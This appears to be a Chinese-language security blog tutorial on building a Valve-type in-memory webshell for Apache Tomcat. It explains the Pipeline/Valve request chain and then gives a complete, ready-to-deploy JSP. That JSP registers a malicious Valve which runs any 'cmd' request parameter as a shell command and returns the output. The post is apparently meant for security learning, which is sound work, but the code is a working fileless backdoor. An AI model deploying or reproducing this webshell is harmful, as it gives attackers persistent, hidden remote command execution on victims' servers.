Java内存马Tomcat篇06-Valve型内存马

0x00 前言

Valve型内存马比较简单,但是十分便捷,其不需要指定路由,在接受请求还尚未解析路径时即可发挥作用。

0x01 Valve概述

建议阅读枫神的相关内容:Java安全学习——内存马-枫のBlog

Tomcat管道机制

当Tomcat接收到客户端请求时,首先由Connector组件负责接收并解析请求数据,将其封装为Request和Response对象。随后,Connector通过CoyoteAdapter将请求传递给Catalina的顶层Container(Engine)。请求依次经过Engine、Host、Context、Wrapper四级容器的处理链,每一级根据请求信息选择合适的子容器,最终由Wrapper中的Servlet进行具体处理。

管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

image-20250512100026434

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

Pipeline接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.apache.catalina;

import java.util.Set;

public interface Pipeline extends Contained {

Valve getBasic();

void setBasic(Valve valve);

void addValve(Valve valve);

Valve[] getValves();

void removeValve(Valve valve);

Valve getFirst();

boolean isAsyncSupported();

void findNonAsyncValves(Set<String> result);
}

关注Pipeline接口的addValve方法,我们可以通过该方法来添加一个Valve。

Valve接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package org.apache.catalina;

import java.io.IOException;

import jakarta.servlet.ServletException;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

public interface Valve {

Valve getNext();

void setNext(Valve valve);

void backgroundProcess();

void invoke(Request request, Response response) throws IOException, ServletException;

boolean isAsyncSupported();
}

getNext方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。

image-20250512100617378

Valve可以通过重写invoke方法来实现具体的业务逻辑,这也是恶意代码存放的地方。

image-20250512100727301

0x02 Valve流程分析

断点直接打在CoyoteAdapter类的service方法,此时消息已经传递到Connector且被解析。直接看到这里:

image-20250512100959785

这样表示更清晰一点:

1
StandardService->StandardService->StandardEngine->StandardPipeline->StandardEngineValve.invoke(request, response)

至于恶意Valve被加载到内存后如何被调用,倒是调试不到。

0x03 构造内存马

根据上文,我们不难想到Valve型内存马的构造流程:

  1. 编写恶意Valve
  2. 获得StandardContext,进而获得StandardPipeline
  3. 把恶意Valve放入StandardPipeline里

直接给出jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%!
public class Valve2 implements Valve {

@Override
public Valve getNext() {
return null;
}

@Override
public void setNext(Valve valve) {}

@Override
public void backgroundProcess() {}

@Override
public void invoke(Request req, Response resp) throws IOException, ServletException {
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
}

@Override
public boolean isAsyncSupported() {
return false;
}
}
%>

<%
// 获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 获得StandardPipeline
Pipeline pipeline = context.getPipeline();
//构造恶意Valve并放入StandardPipeline
Valve2 valve2 = new Valve2();
pipeline.addValve(valve2);
%>

0x04 小结

Timer型内存马和Executor内存马就不讲了,自行了解即可。